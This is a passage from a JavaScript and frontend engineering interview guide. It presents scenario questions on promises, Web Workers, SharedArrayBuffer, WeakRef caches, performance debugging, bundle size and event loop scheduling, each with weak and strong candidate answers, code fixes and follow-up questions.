  • Why primitives are different: pluginA.enabled = false DOES create a new own property on pluginA because assignment (=) always creates/overwrites an own property. Mutation methods like push, splice, sort operate on the looked-up reference without triggering property assignment on the instance.
  • The lookup algorithm:
    1. Check pluginA own properties for tags — not found.
    2. Check pluginA.__proto__ (i.e., Plugin.prototype) — found tags: [].
    3. Return that reference. push mutates the found array.
  • Fix 1 — Initialize in constructor:
    function Plugin(name) {
        this.name = name;
        this.tags = []; // Own property per instance
    }
    
  • Fix 2 — Use ES6 classes (same semantics but clearer):
    class Plugin {
        constructor(name) {
            this.name = name;
            this.tags = [];
        }
    }
    
  • Fix 3 — If prototype sharing is intentional (rare), use defensive copy:
    Plugin.prototype.getDefaultTags = function() {
        return [...this.constructor.prototype.tags];
    };
    
  • V8 internals note: This also matters for V8 hidden classes. When the constructor consistently initializes all own properties in the same order, V8 assigns a stable hidden class (Shape). Objects that rely on prototype properties for mutable state get different shapes at different times, defeating inline caches.
  • War story: “I saw this exact pattern in a Webpack plugin ecosystem where a base loader class had this.errors = [] on the prototype instead of in the constructor. Every loader instance shared the same errors array. One failing build would poison error messages into completely unrelated builds running in the same process. Took two days to track down because the symptoms were non-deterministic depending on build order.”
Follow-up:
  1. What does Object.hasOwn(pluginA, 'tags') return before and after the push? What about after pluginA.tags = ['new']?
  2. How would you use Object.create(null) to create an object with no prototype chain at all? When is this useful in production (hint: think dictionary/map objects)?
  3. If someone defines a getter/setter on the prototype for tags, does pluginA.tags = [] still create an own property, or does it invoke the setter? How does this interact with Object.defineProperty vs direct assignment?
Scenario: Your Node.js API has an endpoint that processes payment webhooks. Logs show successful responses for every request, but the database shows that roughly 5% of payments are never recorded. There are no error logs. The handler looks like this:
app.post('/webhook', async (req, res) => {
    res.status(200).json({ received: true });
    // Process after responding (don't make Stripe wait)
    processPayment(req.body);
});

async function processPayment(payload) {
    const parsed = await validateSignature(payload);
    await db.payments.insert(parsed);
    await notifyUser(parsed.userId);
}
Why are 5% of payments silently lost, and how do you fix this?What weak candidates say:
  • “Add a try/catch” — technically correct but cannot explain where the unhandled rejection is occurring or why res.status(200) was already sent.
  • Do not recognize the fire-and-forget anti-pattern: calling an async function without await or .catch() means the returned promise is never observed.
  • Suggest wrapping everything in try/catch inside the route handler, not realizing the async processing intentionally happens after res.send().
What strong candidates say:
  • The bug: processPayment(req.body) returns a Promise, but it is never awaited and has no .catch(). If validateSignature, db.payments.insert, or notifyUser throws, the rejection is unhandled. Node.js will emit an unhandledRejection event, but by default it only logs a warning (in older Node) or crashes the process (Node 15+). Either way, no application-level error handling runs, and the payment is silently lost.
  • Why 5% and not 100%: The 5% are likely transient failures — database connection timeouts, signature validation failures on malformed payloads, or race conditions. The 95% succeed silently, masking the broken error handling.
  • Fix 1 — Catch fire-and-forget promises:
    app.post('/webhook', async (req, res) => {
        res.status(200).json({ received: true });
        processPayment(req.body).catch(err => {
            logger.error('Payment processing failed', {
                error: err.message,
                paymentId: req.body.id,
                stack: err.stack
            });
            // Queue for retry
            retryQueue.add({ payload: req.body, attempts: 0 });
        });
    });
    
  • Fix 2 — Use a proper job queue: The real fix is to not do async background processing in the request handler at all. Enqueue the work to a durable job queue (BullMQ, SQS, RabbitMQ) and process it in a separate worker with retries, dead-letter queues, and idempotency keys.
    app.post('/webhook', async (req, res) => {
        await jobQueue.add('process-payment', req.body, {
            attempts: 3,
            backoff: { type: 'exponential', delay: 1000 }
        });
        res.status(200).json({ received: true });
    });
    
  • Fix 3 — Global safety net:
    process.on('unhandledRejection', (reason, promise) => {
        logger.fatal('Unhandled rejection', { reason });
        // Send to error tracking (Sentry, Datadog)
        Sentry.captureException(reason);
    });
    
    But this is a safety net, not a solution. You should never rely on unhandledRejection for business logic.
  • The deeper issue — Promise chain hygiene: Every async function call site must either await the result (so try/catch works) or attach a .catch(). Lint rules like no-floating-promises (typescript-eslint) or @typescript-eslint/no-misused-promises catch this at build time.
  • War story: “At a payments company, we lost $40K in transactions over a weekend because a processRefund() call was fire-and-forget. The DB connection pool was exhausted under load, causing intermittent insert failures. No errors were logged because the promise rejections were unobserved. We added BullMQ with dead-letter monitoring and a no-floating-promises lint rule the following Monday.”
Follow-up:
  1. What is the difference between unhandledRejection and uncaughtException in Node.js? When does each fire?
  2. If you await an already-rejected promise inside a try/catch, does the catch block run synchronously or asynchronously? What does the call stack look like?
  3. How does Promise.allSettled() help when you need to run multiple independent async operations and you do not want one failure to cancel the others? Show a pattern for collecting partial results.
Scenario: Your React application’s production build takes 90 seconds, and development HMR (Hot Module Replacement) takes 8-12 seconds per file change. The bundle analyzer shows the output is 4.2MB gzipped. The team is frustrated. You are asked to get the build under 20 seconds and the dev reload under 2 seconds. Walk me through your approach.What weak candidates say:
  • “Switch to Vite” — potentially correct but shows no understanding of why Webpack is slow or what Vite does differently (native ESM in dev, esbuild/SWC for transforms, Rollup for prod).
  • “Enable code splitting” with no specifics about how (dynamic import(), route-based splitting, vendor chunk separation).
  • Cannot explain what tree shaking is or why barrel files (index.ts re-exporting everything) defeat it.
What strong candidates say:
  • Step 1 — Profile the build: Use speed-measure-webpack-plugin or Webpack’s --profile --json flag to identify which loaders and plugins consume the most time. Common offenders: babel-loader on node_modules, ts-loader in type-checking mode, css-loader with large SCSS dependency graphs, and terser-webpack-plugin minification.
  • Step 2 — Analyze the bundle: Run webpack-bundle-analyzer or source-map-explorer. Look for: entire lodash (500KB) when you use 3 functions, moment.js with all locales (300KB), duplicate copies of the same library at different versions, and unshaken barrel files pulling in entire packages.
  • Quick wins (often 3-5x improvement):
    1. Replace babel-loader with swc-loader or esbuild-loader: SWC/esbuild transpile 20-70x faster than Babel because they are written in Rust/Go, not JavaScript.
    2. Skip type-checking in the build: Use fork-ts-checker-webpack-plugin to run TypeScript checking in a separate process, or rely on your IDE/CI for type checking.
    3. Scope babel-loader/swc-loader to src/ only: Do not transpile node_modules unless specific packages need it.
    4. Replace lodash with lodash-es and use direct imports: import debounce from 'lodash-es/debounce' instead of import { debounce } from 'lodash'.
    5. Replace moment.js with date-fns or dayjs: 2KB vs 300KB.
  • Bundle size reduction:
    1. Route-based code splitting: Every route becomes a lazy-loaded chunk via React.lazy() + Suspense + dynamic import().
    2. Externalize large dependencies: Serve React/ReactDOM from a CDN instead of bundling them.
    3. Avoid barrel file re-exports: A components/index.ts that re-exports 50 components defeats tree shaking. Import directly from the file.
  • Dev speed (HMR):
    1. Switch to Vite for dev: Vite serves modules as native ESM, so it only transforms the file you changed, not the entire dependency graph. HMR is typically under 100ms.
    2. If staying on Webpack: Enable cache.type: 'filesystem' for persistent caching across restarts. Use react-refresh via @pmmmwh/react-refresh-webpack-plugin.
  • War story: “We cut a Webpack build from 110s to 18s at a B2B SaaS company by doing three things: replaced babel-loader with swc-loader (40s saved), added cache.type: 'filesystem' (30s saved on warm builds), and removed a barrel file in src/components/index.ts that was pulling 200 components into every chunk (20s saved + 1.8MB off the bundle). The HMR issue we fixed by migrating dev to Vite while keeping Webpack for production.”
Follow-up:
  1. Explain how tree shaking works at the module level. Why do CommonJS modules resist tree shaking while ES modules enable it? What role does the sideEffects field in package.json play?
  2. What is the difference between import() (dynamic import) and require.ensure() in Webpack? How does the bundler determine chunk boundaries?
  3. Your bundle analyzer shows two copies of react-dom at different versions (17.0.2 and 18.2.0). How did this happen and how do you fix it?
Scenario: Your web application lets users upload photos and apply filters (resize, crop, apply watermark, convert to WebP) before uploading to S3. Currently, all image processing runs on the main thread using Canvas API, and the UI freezes for 3-5 seconds per image. Users often upload batches of 20+ images. Design a Web Worker-based solution that processes images without blocking the UI, and explain the data transfer strategy.What weak candidates say:
  • “Just create a worker and postMessage the image” — but do not address that the Canvas API is not available in workers (until OffscreenCanvas), or that naive postMessage of large image data causes serialization overhead.
  • Confuse Web Workers with Service Workers.
  • Do not consider the worker pool pattern — suggest creating one worker per image (spawning 20 workers simultaneously will thrash the CPU).
What strong candidates say:
  • Architecture — Worker Pool pattern:
    // Main thread: pool of N workers (N = navigator.hardwareConcurrency - 1)
    class WorkerPool {
        constructor(size) {
            this.workers = Array.from(
                { length: size },
                () => new Worker(new URL('./image-worker.js', import.meta.url))
            );
            this.queue = [];
            this.available = [...this.workers];
        }
    
        process(imageBuffer) {
            return new Promise((resolve, reject) => {
                const task = { imageBuffer, resolve, reject };
                const worker = this.available.pop();
                if (worker) this.dispatch(worker, task);
                else this.queue.push(task);
            });
        }
    
        dispatch(worker, task) {
            worker.onmessage = (e) => {
                task.resolve(e.data);
                const next = this.queue.shift();
                if (next) this.dispatch(worker, next);
                else this.available.push(worker);
            };
            // Transfer, not clone!
            worker.postMessage(task.imageBuffer, [task.imageBuffer]);
        }
    }
    
  • Data transfer strategy — Transferable objects: When you postMessage(buffer, [buffer]), the ArrayBuffer is transferred (zero-copy move), not cloned. The main thread loses access to the buffer, but there is no serialization cost. For a 10MB image, this is the difference between ~50ms (structured clone) and ~0ms (transfer).
  • OffscreenCanvas: Since 2019 (Chrome 69+), workers can use OffscreenCanvas for GPU-accelerated image manipulation:
    // Inside worker
    self.onmessage = async (e) => {
        const bitmap = await createImageBitmap(new Blob([e.data]));
        const canvas = new OffscreenCanvas(bitmap.width, bitmap.height);
        const ctx = canvas.getContext('2d');
        ctx.drawImage(bitmap, 0, 0);
        // Apply filters via canvas pixel manipulation
        const processed = canvas.convertToBlob(
            { type: 'image/webp', quality: 0.85 }
        );
        const buffer = await (await processed).arrayBuffer();
        self.postMessage(buffer, [buffer]); // Transfer back
    };
    
  • Progress reporting: Use postMessage with a discriminated union type for progress updates:
    // Worker sends: { type: 'progress', percent: 45 }
    // Worker sends: { type: 'complete', buffer: ArrayBuffer }
    
  • Fallback: If OffscreenCanvas is not supported, fall back to main-thread processing with time-slicing (process one image at a time with requestIdleCallback between steps).
  • War story: “At a photo-sharing startup, we processed user uploads client-side before sending to the CDN. We used a pool of 4 workers with OffscreenCanvas and Transferable buffers. Processing 20 photos went from 60 seconds of frozen UI to 12 seconds with a fully responsive progress bar. The key insight was using navigator.hardwareConcurrency to size the pool — on a 2-core mobile device, we used 1 worker instead of 4 to avoid thrashing.”
Follow-up:
  1. What is the difference between Transferable objects and SharedArrayBuffer? When would you use one over the other?
  2. Can you use import statements inside a Web Worker? What is type: 'module' in the Worker constructor, and what are the browser support implications?
  3. How would you handle a scenario where a worker crashes (unhandled error)? How do you detect it, restart the worker, and retry the task?
Scenario: You are building a browser-based collaborative code editor where multiple Web Workers handle syntax highlighting, linting, and autocomplete simultaneously. All workers need read access to the same document buffer (potentially 50MB for large files), and the syntax highlighter worker needs write access to update token ranges. Using postMessage to copy the full buffer to each worker on every keystroke is too slow. Design a SharedArrayBuffer-based solution and explain the concurrency pitfalls.What weak candidates say:
  • Know that SharedArrayBuffer exists but cannot explain the security requirements (Cross-Origin-Isolation headers) or the concurrency primitives (Atomics).
  • Suggest using SharedArrayBuffer without any synchronization, leading to data races.
  • Do not mention that SharedArrayBuffer was disabled in most browsers after Spectre and requires specific HTTP headers to re-enable.
What strong candidates say:
  • Security prerequisite: SharedArrayBuffer requires Cross-Origin Isolation. The server must send:
    Cross-Origin-Opener-Policy: same-origin
    Cross-Origin-Embedder-Policy: require-corp
    
    Without these headers, SharedArrayBuffer constructor throws. This also means all cross-origin resources (images, scripts, iframes) must have Cross-Origin-Resource-Policy: cross-origin or be loaded via CORS.
  • Architecture:
    // Main thread: create shared buffer
    const docBuffer = new SharedArrayBuffer(50 * 1024 * 1024); // 50MB
    const docView = new Uint8Array(docBuffer);
    // Encode document text into the buffer
    new TextEncoder().encodeInto(documentText, docView);
    
    // Metadata: lock flag + document length
    const metaBuffer = new SharedArrayBuffer(8);
    const metaView = new Int32Array(metaBuffer);
    Atomics.store(metaView, 0, 0); // lock: 0 = unlocked
    Atomics.store(metaView, 1, documentText.length); // doc length
    
    // Share with workers (zero-copy -- all workers see the same memory)
    syntaxWorker.postMessage({ docBuffer, metaBuffer });
    lintWorker.postMessage({ docBuffer, metaBuffer });
    autocompleteWorker.postMessage({ docBuffer, metaBuffer });
    
  • Synchronization with Atomics: Use a simple spinlock or reader-writer pattern:
    // Writer (main thread or syntax worker) acquires lock
    function acquireLock(metaView) {
        while (Atomics.compareExchange(metaView, 0, 0, 1) !== 0) {
            // Spin -- in a worker, you can use Atomics.wait() instead
            Atomics.wait(metaView, 0, 1); // Sleep until notified
        }
    }
    
    function releaseLock(metaView) {
        Atomics.store(metaView, 0, 0);
        Atomics.notify(metaView, 0, 1); // Wake one waiting worker
    }
    
  • Why not just postMessage: For a 50MB buffer, structured clone takes ~200ms. On every keystroke at 60WPM, that is untenable. SharedArrayBuffer is zero-copy — all workers read the same physical memory. The only coordination cost is the atomic operations (~nanoseconds).
  • Pitfalls:
    1. Data races: Without Atomics, two workers reading/writing simultaneously get torn reads (partially updated data). Always use Atomics.load() / Atomics.store() for shared indices.
    2. Atomics.wait() blocks the thread: Never use it on the main thread (throws in browsers). Only use in workers.
    3. No GC: SharedArrayBuffer is raw bytes. You manage memory layout manually (like C). No objects, no strings, no arrays — just typed array views over byte ranges.
    4. Debugging is hard: Race conditions in shared memory are notoriously difficult to reproduce. Use Atomics.load() logging and design for single-writer-multiple-reader where possible.
  • War story: “On a collaborative IDE project, we used SharedArrayBuffer for the document buffer shared between 3 workers. Initially we skipped locking because ‘reads are safe’ — until we saw garbled syntax highlighting at the exact cursor position during fast typing. Turned out the highlighter was reading a half-written UTF-8 sequence mid-update. Adding a simple reader-writer lock with Atomics.wait / Atomics.notify fixed it with negligible perf cost.”
Follow-up:
  1. Atomics.wait() is not allowed on the main thread. How would the main thread wait for a worker to complete a shared-memory operation? What pattern do you use instead?
  2. Explain the Spectre attack at a high level and why it forced browsers to disable SharedArrayBuffer. How do the COOP/COEP headers mitigate the timing side-channel?
  3. If you need to share complex data structures (not just flat arrays) between workers, what alternatives exist? (Hint: think protocol buffers, FlatBuffers, or a custom binary layout.)
Scenario: Your application maintains a client-side cache of expensive-to-compute objects (parsed ASTs of user code files, decoded image bitmaps, computed layout trees). The cache currently uses a plain Map, and users with many open files see memory usage balloon to 1GB+. You cannot use an LRU cache because access patterns are unpredictable — a file untouched for an hour might suddenly be needed. You want a cache that automatically releases entries when memory pressure is high (i.e., when the GC would collect the objects anyway). Design this using WeakRef and FinalizationRegistry.What weak candidates say:
  • Confuse WeakRef with WeakMap. A WeakMap has weak keys (the key is held weakly), while a WeakRef is a weak reference to a value (the target may be collected at any time).
  • Assume FinalizationRegistry callbacks fire immediately or synchronously after GC. They do not — the spec says they may fire “at some point” or never.
  • Do not understand that WeakRef.deref() may return undefined at any time, meaning every access must handle the cache-miss case.
What strong candidates say:
  • Design:
    class SmartCache {
        #cache = new Map();       // key -> WeakRef(value)
        #registry;
    
        constructor() {
            // Cleanup stale keys when GC collects the value
            this.#registry = new FinalizationRegistry((key) => {
                // Only delete if the current ref is actually dead
                const ref = this.#cache.get(key);
                if (ref && ref.deref() === undefined) {
                    this.#cache.delete(key);
                }
            });
        }
    
        set(key, value) {
            // If we had an old entry, it will be cleaned up by GC
            const ref = new WeakRef(value);
            this.#cache.set(key, ref);
            this.#registry.register(value, key, ref);
            // heldValue=key (for cleanup), unregisterToken=ref
        }
    
        get(key) {
            const ref = this.#cache.get(key);
            if (!ref) return undefined;
            const value = ref.deref();
            if (value === undefined) {
                // Object was GC'd -- remove stale entry
                this.#cache.delete(key);
                return undefined;
            }
            return value;
        }
    
        // Allow manual removal (unregister from FinalizationRegistry)
        delete(key) {
            const ref = this.#cache.get(key);
            if (ref) {
                this.#registry.unregister(ref);
                this.#cache.delete(key);
            }
        }
    }
    
  • Critical caveats:
    1. No timing guarantees: FinalizationRegistry callbacks are best-effort. The spec explicitly says: “implementations are not required to call cleanup callbacks.” Do not use them for critical resource cleanup (file handles, network connections). Use try/finally or explicit dispose() methods for that.
    2. deref() can return undefined between two successive calls: GC can run at any time. Always capture the result: const obj = ref.deref(); if (obj) use(obj); — never if (ref.deref()) ref.deref().prop.
    3. Interaction with DevTools: Having DevTools open with “Collect garbage” button or heap snapshots can artificially keep objects alive. This makes testing WeakRef-based code tricky.
    4. Not a substitute for LRU: WeakRef lets the GC decide when to evict. You have no control over eviction order. If you need deterministic eviction (e.g., “keep most recently used 100 items”), use a proper LRU cache. WeakRef is for “keep it if memory allows, recompute if not.”
  • Hybrid approach: Combine LRU for hot entries with WeakRef for warm entries:
    class HybridCache {
        #hot;  // LRU cache, size-bounded
        #warm; // SmartCache (WeakRef-based)
    
        get(key) {
            // Check hot cache first
            let value = this.#hot.get(key);
            if (value) return value;
            // Check warm cache (may have been GC'd)
            value = this.#warm.get(key);
            if (value) {
                this.#hot.set(key, value); // Promote back to hot
                return value;
            }
            return undefined; // Cache miss -- recompute
        }
    
        set(key, value) {
            this.#hot.set(key, value);
            // When evicted from LRU, demote to warm (WeakRef)
            this.#hot.onEvict((evictedKey, evictedValue) => {
                this.#warm.set(evictedKey, evictedValue);
            });
        }
    }
    
  • War story: “On an online IDE, we cached parsed ASTs for open files in a plain Map. Users with 50+ tabs consumed 1.2GB. We switched to a WeakRef-based cache with FinalizationRegistry for cleanup. Memory dropped to ~400MB because the GC could now reclaim ASTs for backgrounded tabs. The reparse cost on cache miss was ~50ms per file, which users never noticed because it only happened when switching to a tab they had not touched in minutes.”
Follow-up:
  1. The TC39 proposal for WeakRef explicitly warns against using FinalizationRegistry for “important” cleanup. What are examples of cleanup that IS appropriate vs IS NOT appropriate for FinalizationRegistry?
  2. How does WeakRef interact with structuredClone? Can you clone a WeakRef? What happens if you postMessage an object that is only weakly referenced?
  3. In your SmartCache, what happens if someone holds a strong reference to the cached value externally? Does the FinalizationRegistry callback ever fire? How does this affect your cache’s memory behavior?

12. Work-Sample Debugging Scenarios

Why work-sample questions matter. These are not trivia — they simulate real engineering situations. The interviewer is testing your systematic thinking, not whether you memorized an answer. Walk through your approach out loud: what you would check first, what tools you would use, and what hypotheses you would form. Staff-level candidates frame these as a structured investigation, not a guess-and-check hunt.
Scenario: Your team ships a data-heavy dashboard with a table of 5,000 rows, live-updating charts, and a filter sidebar. Users report that scrolling is janky and the UI freezes for ~200ms every few seconds. The Product Manager says “it worked fine last sprint.” Walk through your debugging approach from first symptom to root cause to fix.What weak candidates say:
  • “Just add virtualization to the table.” They jump to solutions without diagnosing the root cause. The jank might not be the table at all.
  • “Profile it with console.time.” console.time does not tell you which phase (scripting, layout, paint, composite) is the bottleneck.
  • Cannot articulate a systematic debugging methodology.
What strong candidates say:
  • Step 1: Reproduce and measure. Open Chrome DevTools Performance tab. Record a 5-second interaction (scrolling, filtering). Look at the flame chart for long tasks (>50ms, marked with a red triangle). Check the “Main” thread for blocking JavaScript, and the “Frames” row for dropped frames.
  • Step 2: Identify the bottleneck phase. Is the long task in Scripting (JS execution), Rendering (style/layout), or Painting? Each has a different fix:
    • Scripting: A filter function running on every scroll event processing 5,000 objects. Fix: debounce or throttle the filter, move computation to a Web Worker, or memoize the filtered results.
    • Layout (purple bars): Layout thrashing from interleaved reads and writes. Fix: batch DOM reads then writes (fastdom pattern), or use transform instead of top/left for animations.
    • Paint (green bars): Complex CSS (box-shadows, filters) on too many elements. Fix: promote expensive elements to their own layer with will-change: transform, reduce paint area.
  • Step 3: Investigate the “worked fine last sprint” claim. Check git log for changes since last release. Look for: new event listeners without cleanup, a removed useMemo or React.memo, a dependency update that broke tree shaking (bundle size increased), or a new analytics script injected into the page.
  • Step 4: Fix and validate. Apply the fix. Re-record in Performance tab. Verify long tasks are under 50ms (good for INP). Check that the “Frames” row shows consistent 16.6ms frame timing. Set up a Performance budget in CI (Lighthouse CI) to prevent regression.
Follow-up:
  1. The Performance tab shows a 150ms “Recalculate Style” event. What could cause that, and how do you narrow it down?
  2. You identify that a third-party analytics script is causing the jank. You cannot remove it. What are your options?
  3. How would you set up automated performance regression detection in CI to prevent this from happening again?
Scenario: Your React SPA starts at 80MB heap on load. After navigating between pages 20 times, heap usage is 450MB and climbing. Users on lower-end devices report the tab crashing after 30 minutes of use. Describe your investigation process.What weak candidates say:
  • “React handles memory automatically.” React helps, but does not prevent all leaks.
  • Check only for obvious things like global variables.
  • Do not know how to take or compare Heap Snapshots.
What strong candidates say:
  • Step 1: Confirm the leak. Open DevTools Memory tab. Take Heap Snapshot (baseline). Navigate to Page A, then back. Force GC (trash can icon). Take another snapshot. If heap grew, you have a leak. Repeat 5 times to see the growth pattern.
  • Step 2: Identify leaked objects. Select “Comparison” view between snapshots. Sort by “Delta” to see which object types are growing. Common culprits: Detached HTMLDivElement (DOM nodes removed from the tree but still referenced by JS), (closure) entries (event handlers or timers holding closures), growing Array or Map instances (caches without eviction).
  • Step 3: Trace the retainer chain. Click on a leaked object and check the “Retainers” panel. This shows the reference chain keeping it alive. Follow the chain to the root cause. Common findings:
    • Event listener added on window or document in a useEffect without a cleanup return
    • setInterval started in a component that is never clearInterval’d on unmount
    • A context provider or Redux store accumulating history entries
    • A WebSocket onmessage handler that creates closures over component state
  • Step 4: Fix and validate. Add useEffect cleanup functions. Replace setInterval with a pattern that clears on unmount. For caches, add WeakMap or LRU eviction. Re-run the navigation test and verify heap returns to baseline after GC.
  • Step 5: Prevent recurrence. Add why-did-you-render in development. Consider a memory regression test: Puppeteer script that navigates 20 times and asserts heap stays under a threshold.
Follow-up:
  1. The “Retainers” panel shows a MutationObserver callback is keeping 500 detached DOM trees alive. How does that happen and how do you fix it?
  2. Your memory test in CI shows the leak only appears in production builds (not dev). What could differ between them?
  3. How would you implement a “memory pressure” warning that degrades the UX gracefully (fewer cached pages, lower-resolution images) before the tab crashes?
Scenario: Users report that a form submission “does nothing” — the button click has no visible effect, no error message, and no network request appears in DevTools. The code uses async/await. The developer says “it works on my machine.” Systematically diagnose the issue.What weak candidates say:
  • “Add a console.log to the click handler.” This is a starting point but not a methodology.
  • Do not consider the possibility of swallowed errors or race conditions.
What strong candidates say:
  • Hypothesis 1: The click handler is not attached. Check the Elements panel -> Event Listeners tab on the button. If no listener, check React DevTools for the component — is it rendered? Is the onClick prop being passed? Common cause: conditional rendering or key-based remount that detaches the handler.
  • Hypothesis 2: The async function throws but the error is swallowed. The most common pattern: onClick={handleSubmit} where handleSubmit is async but there is no .catch() or try/catch. If handleSubmit throws before reaching await fetch(...), the promise rejects silently (unhandled rejection). Check the Console for “Unhandled promise rejection” warnings. Fix: wrap the entire handler in try/catch with user-visible error reporting.
  • Hypothesis 3: The await is stuck on a promise that never settles. Check the Network tab — is there a pending request that never completes? A hung promise means the function is suspended forever at the await line. This happens with: misconfigured AbortController that aborts before the request fires, a promise created with new Promise() where resolve/reject is never called, or a deadlock in a custom queue system.
  • Hypothesis 4: A validation guard returns early before the network call. Add a breakpoint at the start of the handler. Step through line by line. Often, a form validation check returns early for an edge case the developer did not test (e.g., a field that is "" on one machine and null on another due to default values).
  • Hypothesis 5: “Works on my machine” difference. Check for environment differences: different API URL (env variable), different auth state (expired token), browser extension intercepting requests (ad blocker blocking the API domain), or CSP headers blocking the request on staging.
Follow-up:
  1. You find the error is TypeError: Cannot read properties of undefined (reading 'id') deep in the async chain. The error is swallowed. How would you architect the error boundary to prevent silent failures across the entire app?
  2. How does ESLint’s no-floating-promises rule (from typescript-eslint) prevent this class of bug?
  3. The form works in Chrome but not Firefox. What browser-specific differences in async behavior or form handling would you check?
Scenario: Your CI pipeline reports that the production JS bundle increased from 180KB to 340KB (gzipped) after a sprint. No one remembers adding a large dependency. The business is sensitive about load time because each 100ms of delay costs ~1% in conversions. Find the cause and fix it.What weak candidates say:
  • “Just lazy-load more routes.” That might help but does not address the root cause.
  • Cannot describe how to analyze a production bundle.
What strong candidates say:
  • Step 1: Compare bundle composition. Run npx webpack-bundle-analyzer (or npx source-map-explorer dist/main.js.map) on both the old and new builds. Visually compare the treemaps side by side. Look for new large rectangles — these are the new or unexpectedly enlarged modules.
  • Step 2: Identify the culprit. Common causes:
    • A new dependency that pulled in a large transitive dependency (e.g., adding moment for one date formatting call, which brings 72KB).
    • A barrel file import (import { x } from './utils') that now re-exports a heavy module that was added to utils.
    • A require() call that was added (CJS defeats tree shaking).
    • A configuration change that disabled tree shaking or minification.
    • Webpack switched to a different chunk splitting strategy after an upgrade.
  • Step 3: Fix. Replace the heavy dependency with a lighter alternative (moment -> date-fns or native Intl). Change barrel imports to direct imports. Ensure "sideEffects": false is set. If a new feature genuinely needs the code, lazy-load it with React.lazy() + Suspense.
  • Step 4: Prevent recurrence. Add a bundlesize check in CI: npx bundlesize --max-size 200kB gzip. Tools: bundlesize, size-limit, or Lighthouse CI with a performance budget. Fail the build if the budget is exceeded. Also add import-cost VS Code extension for the team to see dependency sizes at import time.
Follow-up:
  1. The bundle analyzer shows that lodash appears twice — once as ESM and once as CJS. How does that happen and how do you deduplicate?
  2. You need to add a 150KB charting library that is only used on one admin page. What is your code-splitting strategy?
  3. How does HTTP/2 multiplexing change the calculus around bundle splitting? Is one big bundle or many small chunks better?

13. Advanced Concepts (Event Loop Internals, Module Bundling, Modern APIs)

Answer: Beyond the basic “microtasks run before macrotasks” model, the full browser task scheduling model has multiple priority levels that affect real-world performance. Understanding this is what separates developers who can diagnose INP (Interaction to Next Paint) issues from those who cannot.The full priority ordering in modern browsers:
  1. Synchronous code on the call stack (highest priority, runs to completion)
  2. process.nextTick (Node.js only — runs before ALL microtasks, between event loop phases)
  3. MicrotasksPromise.then/catch/finally, queueMicrotask(), MutationObserver. Drain completely, including microtasks spawned by microtasks.
  4. requestAnimationFrame callbacks — Run once per frame, just before the browser paints. Not in either queue — separate list.
  5. Macrotasks (one per iteration)setTimeout, setInterval, setImmediate (Node), I/O callbacks, MessageChannel.
  6. requestIdleCallback — Runs during idle periods when the browser has no other work. Gets a deadline object with remaining idle time.
  7. scheduler.postTask('background') (Scheduler API) — Lowest priority, cooperative yielding.
// Predict the output order:
console.log('1: sync');

requestAnimationFrame(() => console.log('2: rAF'));

setTimeout(() => console.log('3: macrotask'), 0);

queueMicrotask(() => console.log('4: microtask'));

Promise.resolve().then(() => console.log('5: promise microtask'));

requestIdleCallback(() => console.log('6: idle'));

console.log('7: sync');

// Output: 1, 7, 4, 5, 2, 3, 6
// Sync first (1, 7)
// Microtasks drain (4, 5)
// rAF runs before paint (2)
// One macrotask (3)
// Idle callback runs when browser is idle (6)
// Note: rAF vs macrotask order can vary -- rAF runs before paint,
// macrotask runs at start of next iteration
The MessageChannel trick for yielding to the browser:
// setTimeout(fn, 0) has a 4ms minimum delay after 5 nested calls
// MessageChannel fires at true macrotask priority with no delay
const channel = new MessageChannel();
channel.port1.onmessage = () => {
    // This runs as a macrotask with no artificial delay
    processNextChunk();
    if (moreWork) channel.port2.postMessage(null);
};
channel.port2.postMessage(null); // Start
// React's Scheduler uses this pattern internally for concurrent rendering
The Scheduler API (experimental but shipping in Chrome):
// Priority-based task scheduling
scheduler.postTask(() => computeAnalytics(), { priority: 'background' });
scheduler.postTask(() => updateUI(), { priority: 'user-visible' });
scheduler.postTask(() => respondToClick(), { priority: 'user-blocking' });

// Yielding to the browser mid-computation
async function processLargeDataset(items) {
    for (let i = 0; i < items.length; i++) {
        processItem(items[i]);
        if (i % 100 === 0) {
            await scheduler.yield(); // Let the browser render and handle input
        }
    }
}
What interviewers are really testing: Do you understand the full priority model beyond the basic two-queue explanation? Can you use requestAnimationFrame, requestIdleCallback, and the Scheduler API appropriately? Staff-level candidates should know that React’s concurrent rendering uses MessageChannel internally for scheduling.Red flag answer: “There are just two queues: microtask and macrotask.” The real model includes rAF, rIC, and priority-based scheduling. Also: not knowing that setTimeout(fn, 0) has a 4ms minimum delay in browsers after 5 nested calls.Follow-up questions:
  • “Why does React use MessageChannel instead of setTimeout for its scheduler?”setTimeout(fn, 0) has a minimum 4ms delay (clamped by the browser after 5 nested calls). For a framework that needs to flush state updates as quickly as possible after yielding, 4ms is unacceptable — at 60fps you only have 16.6ms per frame. MessageChannel fires as a true macrotask with no artificial delay. React’s scheduler posts a message, yields to the browser for input/paint, then continues work in the onmessage handler.
  • “How does queueMicrotask differ from Promise.resolve().then() and when would you use it?” — Both schedule microtasks. queueMicrotask is slightly cheaper because it does not create a Promise object. Use it when you need to defer work to after the current synchronous execution but before any macrotask or render, and you do not need the promise chain semantics. Use case: batching DOM updates across multiple synchronous calls.
  • “What is Atomics.waitAsync and how does it fit into the task model?”Atomics.waitAsync() (usable on the main thread, unlike Atomics.wait()) returns a promise that resolves when a shared memory location changes. It bridges shared-memory concurrency with the promise/microtask model, allowing the main thread to wait for a worker’s result without blocking.
Answer: Understanding how bundlers work is not just academic — it determines your ability to debug build issues, optimize bundle size, and architect module boundaries for code splitting.The bundling pipeline (common across tools):
  1. Entry resolution — Start from entry points (src/index.js). Resolve import paths to actual file paths using Node resolution algorithm (or custom aliases).
  2. Dependency graph construction — Parse each module’s AST, extract import/export/require statements, recursively resolve dependencies. The result is a directed graph.
  3. Transformation — Apply loaders/plugins: TypeScript -> JS (esbuild/swc/tsc), JSX -> JS, CSS Modules -> JS, image imports -> asset URLs. Each file passes through its configured transform pipeline.
  4. Tree shaking — Mark unused exports as dead code. Walk the dependency graph from entry points, tracking which bindings are actually consumed. Remove unclaimed exports.
  5. Chunk splitting — Split the graph into chunks based on: entry points (multi-page), dynamic import() boundaries, and shared module extraction (vendor chunk). Each chunk becomes a separate output file.
  6. Scope hoisting / module concatenation — Merge modules that can be safely inlined into a single scope (fewer function wrappers, better minification).
  7. Minification — Remove whitespace, rename variables, evaluate constant expressions, remove dead branches (Terser, esbuild, or SWC).
Webpack vs Rollup vs esbuild vs Vite — the real tradeoffs:
ToolStrengthsWeaknessesBest for
WebpackMost configurable, huge plugin ecosystem, code splittingSlow (JS-based), complex configLarge production apps with complex needs
